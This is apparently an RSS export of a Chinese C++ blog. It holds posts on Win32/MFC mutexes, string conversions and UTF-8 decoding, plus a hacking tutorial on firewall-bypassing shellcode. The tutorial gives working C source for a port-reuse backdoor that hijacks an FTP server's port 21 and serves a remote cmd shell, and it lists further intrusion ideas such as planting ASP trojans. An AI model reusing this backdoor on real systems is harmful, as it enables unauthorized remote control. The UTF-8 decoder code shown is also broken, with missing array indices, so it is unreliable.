            <td>BOOL ReleaseMutex(HANDLE hMutex);</td>
        </tr>
    </tbody>
</table>
<br>　　其唯一的参数hMutex为待释放的互斥对象句柄。至于WaitForSingleObject（）和WaitForMultipleObjects（）等待函数在互斥对象保持线程同步中所起的作用与在其他内核对象中的作用是基本一致的，也是等待互斥内核对象的通知。但是这里需要特别指出的是：在互斥对象通知引起调用等待函数返回时，等待函数的返回值不再是通常的WAIT_OBJECT_0（对于WaitForSingleObject（）函数）或是在WAIT_OBJECT_0到WAIT_OBJECT_0+nCount-1之间的一个值（对于WaitForMultipleObjects（）函数），而是将返回一个WAIT_ABANDONED_0（对于WaitForSingleObject（）函数）或是在WAIT_ABANDONED_0到WAIT_ABANDONED_0+nCount-1之间的一个值（对于WaitForMultipleObjects（）函数）。以此来表明线程正在等待的互斥对象由另外一个线程所拥有，而此线程却在使用完共享资源前就已经终止。除此之外，使用互斥对象的方法在等待线程的可调度性上同使用其他几种内核对象的方法也有所不同，其他内核对象在没有得到通知时，受调用等待函数的作用，线程将会挂起，同时失去可调度性，而使用互斥的方法却可以在等待的同时仍具有可调度性，这也正是互斥对象所能完成的非常规操作之一。<br><br>　　在编写程序时，互斥对象多用在对那些为多个线程所访问的内存块的保护上，可以确保任何线程在处理此内存块时都对其拥有可靠的独占访问权。下面给出的示例代码即通过互斥内核对象hMutex对共享内存快g_cArray[]进行线程的独占访问保护。下面给出实现代码清单：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// 互斥对象<br>HANDLE hMutex = NULL;<br>char g_cArray[10];<br>UINT ThreadProc18(LPVOID pParam)<br>{<br>　// 等待互斥对象通知<br>　WaitForSingleObject(hMutex, INFINITE);<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[i] = 'a';<br>　　Sleep(1);<br>　}<br>　// 释放互斥对象<br>　ReleaseMutex(hMutex);<br>　return 0;<br>}<br>UINT ThreadProc19(LPVOID pParam)<br>{<br>　// 等待互斥对象通知<br>　WaitForSingleObject(hMutex, INFINITE);<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[10 - i - 1] = 'b';<br>　　Sleep(1);<br>　}<br>　// 释放互斥对象<br>　ReleaseMutex(hMutex);<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnMutex() <br>{<br>　// 创建互斥对象<br>　hMutex = CreateMutex(NULL, FALSE, NULL);<br>　// 启动线程<br>　AfxBeginThread(ThreadProc18, NULL);<br>　AfxBeginThread(ThreadProc19, NULL);<br>　// 等待计算完毕<br>　Sleep(300);<br>　// 报告计算结果<br>　CString sResult = CString(g_cArray);<br>　AfxMessageBox(sResult);<br>} </td>
        </tr>
    </tbody>
</table>
<br>　　互斥对象在MFC中通过CMutex类进行表述。使用CMutex类的方法非常简单，在构造CMutex类对象的同时可以指明待查询的互斥对象的名字，在构造函数返回后即可访问此互斥变量。CMutex类也是只含有构造函数这唯一的成员函数，当完成对互斥对象保护资源的访问后，可通过调用从父类CSyncObject继承的UnLock（）函数完成对互斥对象的释放。CMutex类构造函数原型为：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>CMutex( BOOL bInitiallyOwn = FALSE, LPCTSTR lpszName = NULL, LPSECURITY_ATTRIBUTES lpsaAttribute = NULL );</td>
        </tr>
    </tbody>
</table>
<br>　　该类的适用范围和实现原理与API方式创建的互斥内核对象是完全类似的，但要简洁的多，下面给出就是对前面的示例代码经CMutex类改写后的程序实现清单：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// MFC互斥类对象<br>CMutex g_clsMutex(FALSE, NULL);<br>UINT ThreadProc27(LPVOID pParam)<br>{<br>　// 等待互斥对象通知<br>　g_clsMutex.Lock();<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[i] = 'a';<br>　　Sleep(1);<br>　}<br>　// 释放互斥对象<br>　g_clsMutex.Unlock();<br>　return 0;<br>}<br>UINT ThreadProc28(LPVOID pParam)<br>{<br>　// 等待互斥对象通知<br>　g_clsMutex.Lock();<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[10 - i - 1] = 'b';<br>　　Sleep(1);<br>　}<br>　// 释放互斥对象<br>　g_clsMutex.Unlock();<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnMutexMfc() <br>{<br>　// 启动线程<br>　AfxBeginThread(ThreadProc27, NULL);<br>　AfxBeginThread(ThreadProc28, NULL);<br>　// 等待计算完毕<br>　Sleep(300);<br>　// 报告计算结果<br>　CString sResult = CString(g_cArray);<br>　AfxMessageBox(sResult);<br>}</td>
        </tr>
    </tbody>
</table>
<br>　　<strong>小结</strong><br><br>　　线程的使用使程序处理更够更加灵活，而这种灵活同样也会带来各种不确定性的可能。尤其是在多个线程对同一公共变量进行访问时。虽然未使用线程同步的程序代码在逻辑上或许没有什么问题，但为了确保程序的正确、可靠运行，必须在适当的场合采取线程同步措施。</div>
<img src ="http://www.cppblog.com/niewenlong/aggbug/32784.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-09-24 14:53 <a href="http://www.cppblog.com/niewenlong/archive/2007/09/24/32784.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>类型转换问题</title><link>http://www.cppblog.com/niewenlong/archive/2007/08/26/30843.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Sat, 25 Aug 2007 20:24:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/08/26/30843.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/30843.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/08/26/30843.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/30843.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/30843.html</trackback:ping><description><![CDATA[<span style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">string&nbsp;转&nbsp;CString&nbsp;<br>CString.format("%s",&nbsp;string.c_str());&nbsp;<br><br>char&nbsp;转&nbsp;CString&nbsp;<br>CString.format("%s",&nbsp;char*);&nbsp;<br><br>char&nbsp;转&nbsp;string&nbsp;<br>string&nbsp;s(char&nbsp;*);&nbsp;<br><br>string&nbsp;转&nbsp;char&nbsp;*&nbsp;<br>char&nbsp;*p&nbsp;=&nbsp;string.c_str();&nbsp;<br><br>CString&nbsp;转&nbsp;string&nbsp;<br>string&nbsp;s(CString.GetBuffer());&nbsp;<br><br>1，string&nbsp;-&gt;&nbsp;CString&nbsp;<br>CString.format("%s",&nbsp;string.c_str());&nbsp;<br>用c_str()确实比data()要好.&nbsp;<br>2，char&nbsp;-&gt;&nbsp;string&nbsp;<br>string&nbsp;s(char&nbsp;*);&nbsp;<br>你的只能初始化，在不是初始化的地方最好还是用assign().&nbsp;<br>3,CString&nbsp;-&gt;&nbsp;string&nbsp;<br>string&nbsp;s(CString.GetBuffer());&nbsp;<br>GetBuffer()后一定要ReleaseBuffer(),否则就没有释放缓冲区所占的空间.&nbsp;<br><br><br>《C++标准函数库》中说的&nbsp;<br>有三个函数可以将字符串的内容转换为字符数组和C—string&nbsp;<br>1.data(),返回没有&#8221;\0&#8220;的字符串数组&nbsp;<br>2,c_str()，返回有&#8221;\0&#8220;的字符串数组&nbsp;<br>3，copy()&nbsp;<br><br>---------------------------------------------------------------&nbsp;<br><br>CString与int、char*、char[100]之间的转换-&nbsp;-&nbsp;<br><br><br>CString与int、char*、char[100]之间的转换-&nbsp;-&nbsp;<br><br><br><br>CString互转int&nbsp;<br><br>将字符转换为整数，可以使用atoi、_atoi64或atol。&nbsp;<br>而将数字转换为CString变量，可以使用CString的Format函数。如&nbsp;<br>CString&nbsp;s;&nbsp;<br>int&nbsp;i&nbsp;=&nbsp;64;&nbsp;<br>s.Format("%d",&nbsp;i)&nbsp;<br>Format函数的功能很强，值得你研究一下。&nbsp;<br><br>void&nbsp;CStrDlg::OnButton1()&nbsp;<br>{&nbsp;<br>//&nbsp;TODO:&nbsp;Add&nbsp;your&nbsp;control&nbsp;notification&nbsp;handler&nbsp;code&nbsp;here&nbsp;<br>CString&nbsp;<br>ss="1212.12";&nbsp;<br>int&nbsp;temp=atoi(ss);&nbsp;<br>CString&nbsp;aa;&nbsp;<br>aa.Format("%d",temp);&nbsp;<br>AfxMessageBox("var&nbsp;is&nbsp;"&nbsp;+&nbsp;aa);&nbsp;<br>}&nbsp;<br><br>sart.Format("%s",buf);&nbsp;<br><br>CString互转char*&nbsp;<br><br>///char&nbsp;*&nbsp;TO&nbsp;cstring&nbsp;<br>CString&nbsp;strtest;&nbsp;<br>char&nbsp;*&nbsp;charpoint;&nbsp;<br>charpoint="give&nbsp;string&nbsp;a&nbsp;value";&nbsp;<br>strtest=charpoint;&nbsp;<br><br><br>///cstring&nbsp;TO&nbsp;char&nbsp;*&nbsp;<br>charpoint=strtest.GetBuffer(strtest.GetLength());&nbsp;<br><br>标准C里没有string,char&nbsp;*==char&nbsp;[]==string&nbsp;<br><br>可以用CString.Format("%s",char&nbsp;*)这个方法来将char&nbsp;*转成CString。要把CString转成char&nbsp;*，用操作符（LPCSTR）CString就可以了。&nbsp;<br><br><br>CString转换&nbsp;char[100]&nbsp;<br><br>char&nbsp;a[100];&nbsp;<br>CString&nbsp;str("aaaaaa");&nbsp;<br>strncpy(a,(LPCTSTR)str,sizeof(a));</span>
<img src ="http://www.cppblog.com/niewenlong/aggbug/30843.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-08-26 04:24 <a href="http://www.cppblog.com/niewenlong/archive/2007/08/26/30843.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编码问题</title><link>http://www.cppblog.com/niewenlong/archive/2007/08/26/30839.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Sat, 25 Aug 2007 18:33:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/08/26/30839.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/30839.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/08/26/30839.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/30839.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/30839.html</trackback:ping><description><![CDATA[<p>linux下：<br><br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASKBITS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x3F<br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASKBYTE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x80<br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASK2BYTES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xC0<br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASK3BYTES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xE0<br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASK4BYTES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xF0<br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASK5BYTES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xF8<br>#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MASK6BYTES&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xFC</p>
<p>typedef unsigned short&nbsp;&nbsp; Unicode2Bytes;<br>typedef unsigned int&nbsp;&nbsp;&nbsp;&nbsp; Unicode4Bytes;</p>
<p><br>void UTF8Decode2BytesUnicode(const std::string&amp; input, std::wstring&amp; output)<br>{<br>&nbsp;&nbsp;&nbsp; output = L"";<br>&nbsp;&nbsp;&nbsp; BYTE b;<br>&nbsp;&nbsp;&nbsp; Unicode2Bytes ch;<br>&nbsp;&nbsp;&nbsp; for(size_t i=0; i &lt; input.length();)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b = input; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 1110xxxx 10xxxxxx 10xxxxxx<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((input &amp; MASK3BYTES) == MASK3BYTES)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ch = ((Unicode2Bytes)(input &amp; 0x0F) &lt;&lt; 12) | (<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Unicode2Bytes)(input[i+1] &amp; MASKBITS) &lt;&lt; 6)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | (input[i+2] &amp; MASKBITS);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i += 3;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 110xxxxx 10xxxxxx<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if((input &amp; MASK2BYTES) == MASK2BYTES)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ch = ((Unicode2Bytes)(input &amp; 0x1F) &lt;&lt; 6) | (input[i+1] &amp; MASKBITS);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i += 2;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 0xxxxxxx<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(input &lt; 0x80)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ch = input;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i += 1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; assert(false);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; output += ch;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //output.push_back(ch);<br>&nbsp;&nbsp;&nbsp; }<br>}</p>
<p>void UTF8Decode2BytesAssciChar(const std::string&amp; input, char** output)<br>{<br>&nbsp;&nbsp;&nbsp; std::wstring wsStrOutput;<br>&nbsp;&nbsp;&nbsp; if (input.empty())<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;</p>
<p>&nbsp;&nbsp;&nbsp; if (*output != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; free(*output);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *output = NULL;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; UTF8Decode2BytesUnicode(input, wsStrOutput);<br>&nbsp;&nbsp;&nbsp; char* pChar = (char*)malloc(wsStrOutput.length() * 2 + 1);<br>&nbsp;&nbsp;&nbsp; memset(pChar, 0, wsStrOutput.length() * 2 + 1);<br>#ifdef WIN32<br>&nbsp;&nbsp;&nbsp; WideCharToMultiByte( CP_ACP, 0, wsStrOutput.c_str(), -1,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pChar, wsStrOutput.length() * 2 + 1, NULL, NULL );<br>#else<br>&nbsp;&nbsp;&nbsp; //mbstowcs()&nbsp; wcstombs() <br>&nbsp;&nbsp;&nbsp; assert(false);<br>#endif<br>&nbsp;&nbsp;&nbsp; *output = pChar;<br>} <br>//---------------------------------------<br>#include &lt;iconv.h&gt;<br>#include &lt;iostream&gt;</p>
<p>#define OUTLEN 255</p>
<p>using namespace std;</p>
<p>// 代码转换操作类<br>class CodeConverter {<br>private:<br>iconv_t cd;<br>public:<br>// 构造<br>CodeConverter(const char *from_charset,const char *to_charset) {<br>cd = iconv_open(to_charset,from_charset);<br>}</p>
<p>// 析构<br>~CodeConverter() {<br>iconv_close(cd);<br>}</p>
<p>// 转换输出<br>int convert(char *inbuf,int inlen,char *outbuf,int outlen) {<br>char **pin = &amp;inbuf;<br>char **pout = &amp;outbuf;</p>
<p>memset(outbuf,0,outlen);<br>return iconv(cd,pin,(size_t *)&amp;inlen,pout,(size_t *)&amp;outlen);<br>}<br>};</p>
<p>int main(int argc, char **argv)<br>{<br>char *in_utf8 = "姝ｅ?ㄥ??瑁?";<br>char *in_gb2312 = "正在安装";<br>char out[OUTLEN];</p>
<p>// utf-8--&gt;gb2312<br>CodeConverter cc = CodeConverter("utf-8","gb2312");<br>cc.convert(in_utf8,strlen(in_utf8),out,OUTLEN);<br>cout &lt;&lt; "utf-8--&gt;gb2312 in=" &lt;&lt; in_utf8 &lt;&lt; ",out=" &lt;&lt; out &lt;&lt; endl;</p>
<p>// gb2312--&gt;utf-8<br>CodeConverter cc2 = CodeConverter("gb2312","utf-8");<br>cc2.convert(in_gb2312,strlen(in_gb2312),out,OUTLEN);<br>cout &lt;&lt; "gb2312--&gt;utf-8 in=" &lt;&lt; in_gb2312 &lt;&lt; ",out=" &lt;&lt; out &lt;&lt; endl;<br>}</p>
<img src ="http://www.cppblog.com/niewenlong/aggbug/30839.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-08-26 02:33 <a href="http://www.cppblog.com/niewenlong/archive/2007/08/26/30839.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>经典的东</title><link>http://www.cppblog.com/niewenlong/archive/2007/07/22/28551.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Sat, 21 Jul 2007 19:22:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/22/28551.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/28551.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/22/28551.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/28551.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/28551.html</trackback:ping><description><![CDATA[<font size=2>现在网络上获得控制台的ShellCode要么是在目标机上开一个端口，等待攻击者连接；要么是让目标机主动连接攻击者的主机，俗称反向连接。但前种方法一般都会被防火墙挡住，而后者反连不但需要攻击者有一个公网IP，而且也会被目标机端禁止外连访问的防火墙挡掉。那有没有更好的办法呢？<br><br>&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp; 第一种方法就是复用攻击时的Socket。我们在给目标机发送攻击字符串的时候，就使用了Socket，如果还存在，我们把它找到并回收利用。ShellCode完成的功能是查找进程中所有的Socket并依次判断，如果是那个发送攻击字符串的Socket，就使用它来传文件，开后门等等。<br><br>&nbsp;&nbsp;&nbsp; 第二种方法是复用端口。作为服务器，防火墙总会打开提高服务所需要的端口，比如FTP的21端口，IIS的80端口等。我们在ShellCode中复用这些防火墙打开的端口，并完成自己想要的功能。<br><br>&nbsp;&nbsp;&nbsp; 第三种方法是终止掉目标机上的FTP或IIS等服务，然后再占用21、80等端口。这种方法在法二失败的情况下可以使用。<br><br>&nbsp;&nbsp;&nbsp; 还有其它的一些方法，比如红色代码蠕虫使用的Hook技术，它是把TcpSockSend函数替换掉，这样发给任何客户的信息都是&#8220;Hacker by Chinese&#8221;，我们也可以把接收函数Recv函数Hook掉，保证即执行攻击者发过去的命令，又不影响正常的服务。<br><br>&nbsp;&nbsp;&nbsp; 另外还可以查找Socket，把所有的Socket都绑定一个DOS Shell；如果知道网站的物理路径，还可以由ShellCode直接创建一个ASP木马！当然还可以添加用户，创建虚拟映射盘，直接写一个EXE的木马并执行等&#8230;&#8230;方法很多，要用发散性的思维考虑！只要想的到，不要管做得到做不到!<br><br>&nbsp;&nbsp;&nbsp; 不管做得到做不到？这些思路都可以实现吗？其实在《Windows下ShellCode编写初步》一文中已经讲过，ShellCode就是一段代码的机器码形式，所以只要ShellCode不要太长，并符合特殊字符的规划，运行起来是不会有问题的。来个实际的编写例子吧，这里就以第二种思路――复用端口，来讲解突破防火墙ShellCode的实现。</font>
<p><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; C实现重用端口<br><br>&nbsp;&nbsp;&nbsp; 一般情况下，已经绑定的端口是不能再次被绑定的，但可以使用Setsockopt函数来改变这一点。Setsockopt函数原型如下，<br><br>&nbsp; int setsockopt(<br>&nbsp; SOCKET s,<br>&nbsp; int level,<br>&nbsp; int optname,<br>&nbsp; const char* optval,<br>&nbsp; int optlen<br>);<br><br>&nbsp;&nbsp;&nbsp; 第一个参数为要改变的Socket标志符，第二个参数为选项的等级，第三个参数就是要改成的选项名了，第四第五个参数为请求值缓冲区的指针和大小。具体实现时，把第三个参数设为SO_REUSEADDR，就可以重用已绑定的端口了。代码如下：<br><br>BOOL&nbsp; val = TRUE;<br>setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&amp;val, sizeof(val)<br><br>&nbsp;&nbsp;&nbsp; 其它的和一般的后门编写就一样了。怎么样，很简单吧？<br>&nbsp;<br>&nbsp;&nbsp;&nbsp; WTF：该方法只有在原来的程序没有使用SO_EXCLUSIVEADDRUSE选项来绑定端口的情况下，才能使用SO_REUSEADDR成功。如果使用了SO_EXCLUSIVEADDRUSE选项，就只能用其它的方法绑定端口了。</font></p>
<p align=left><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; Telnet后门的编写<br><br>&nbsp;&nbsp;&nbsp; 端口可以重用之后，总要加点功能来显示这种方法的优劣吧？空说复用端口好有什么用呢？所以再加上一个大家都看得见的功能：给连接端口的客户开一个远程的Shell。<br><br>&nbsp;&nbsp;&nbsp; 开远程的Shell比较简单，用CreateProcess函数建立CMD进程，并把进程的输入输出和错误句柄都换成我们的Socket就可以了。注意这里的Socket要用WSASocket函数建立才能这样替换，而用Socket函数建立的就只能用管道来通信了。这些不在本文的讨论之内，大家可以参看以前和将来的黑防，都会有讲的。<br><br>C实现的程序如下。<br>int main()<br>{<br>&nbsp;WSADATA ws;<br>&nbsp;SOCKET listenFD;<br>&nbsp;int ret;<br>&nbsp;//初始化wsa<br>&nbsp;WSAStartup(MAKEWORD(2,2),&amp;ws);<br>&nbsp;//注意要用WSASocket<br>&nbsp;listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);<br>&nbsp;//设置套接字选项，SO_REUSEADDR选项就是可以实现端口重绑定的 <br>&nbsp;//但如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功<br>&nbsp;BOOL&nbsp; val = TRUE;<br>&nbsp;setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&amp;val, sizeof(val) ); <br>&nbsp;//监听本机21端口<br>&nbsp;struct sockaddr_in server;<br>&nbsp;server.sin_family = AF_INET;<br>&nbsp;server.sin_port = htons(21);<br>&nbsp;server.sin_addr.s_addr = inet_addr("127.0.0.1");<br>&nbsp;ret=bind(listenFD,(sockaddr *)&amp;server,sizeof(server));<br>&nbsp;ret=listen(listenFD,2);<br>&nbsp;//如果客户请求21端口，接受连接<br>&nbsp;int iAddrSize = sizeof(server);<br>&nbsp;SOCKET clientFD=accept(listenFD,(sockaddr *)&amp;server,&amp;iAddrSize);<br>&nbsp;STARTUPINFO si;<br>&nbsp;ZeroMemory(&amp;si,sizeof(si));<br>&nbsp;si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;<br>&nbsp;//设置为输入输出句柄为Socket<br>&nbsp;si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;<br>&nbsp;char cmdLine[] = "cmd";<br>&nbsp;PROCESS_INFORMATION ProcessInformation;<br>&nbsp;//建立进程&nbsp;<br>&nbsp;ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&amp;si,&amp;ProcessInformation);<br>&nbsp;return 0;<br>}<br><br>测试一下，先安装一个Serv_U FTP服务器，那么它会打开21端口。如果Telnet 21端口，就会得到Serv_U的Banner，如下图1所示。</font></p>
<p align=center><br clear=all><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/148/liba010bjnJaI.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br><br>图1</font></p>
<p align=left><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; 现在执行我们的程序，就会重新绑定21端口。用Netstat &#8211;an查看，会发现有两个21端口在监听，一个的IP是0.0.0.0，一个是127.0.0.1。如图2所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/149/li3Wz9QooHVA.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图2</font></p>
<p align=left><font face=宋体 size=2>现在再Telnet 21端口，这次得到的是Shell！哈哈，没错，我们的程序抢掉了Serv_U用的21端口，突破成功！如图3所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/150/liPgH6EjEeEfA.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图3</font></p>
<p><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; 汇编的编写<br><br>&nbsp;&nbsp;&nbsp; C程序代码成功实现后，就要把它变为有ShellCode特点的汇编了。<br>《打造Windows下自己的ShellCode》一文中分析过，Windows下函数的调用是先将参数从右到左入栈，然后Call 函数的地址，所以首先要找出所有函数的地址并记下来。<br><br>&nbsp;&nbsp;&nbsp; 我写了个&#8220;FindAddress.cpp&#8221;，来查找这次所有要用的函数地址。先LoadLibrary函数所在的Dll，再GetProcAddress函数名，最后打印出得到的地址。以后要查找其它函数地址时，只要更改LoadLibrary和GetProcAddress参数里的Dll名和函数名就可以了。<br>在我的系统XP sp0下，执行的效果如下图4所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/151/li92C34w7X67A.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图4</font></p>
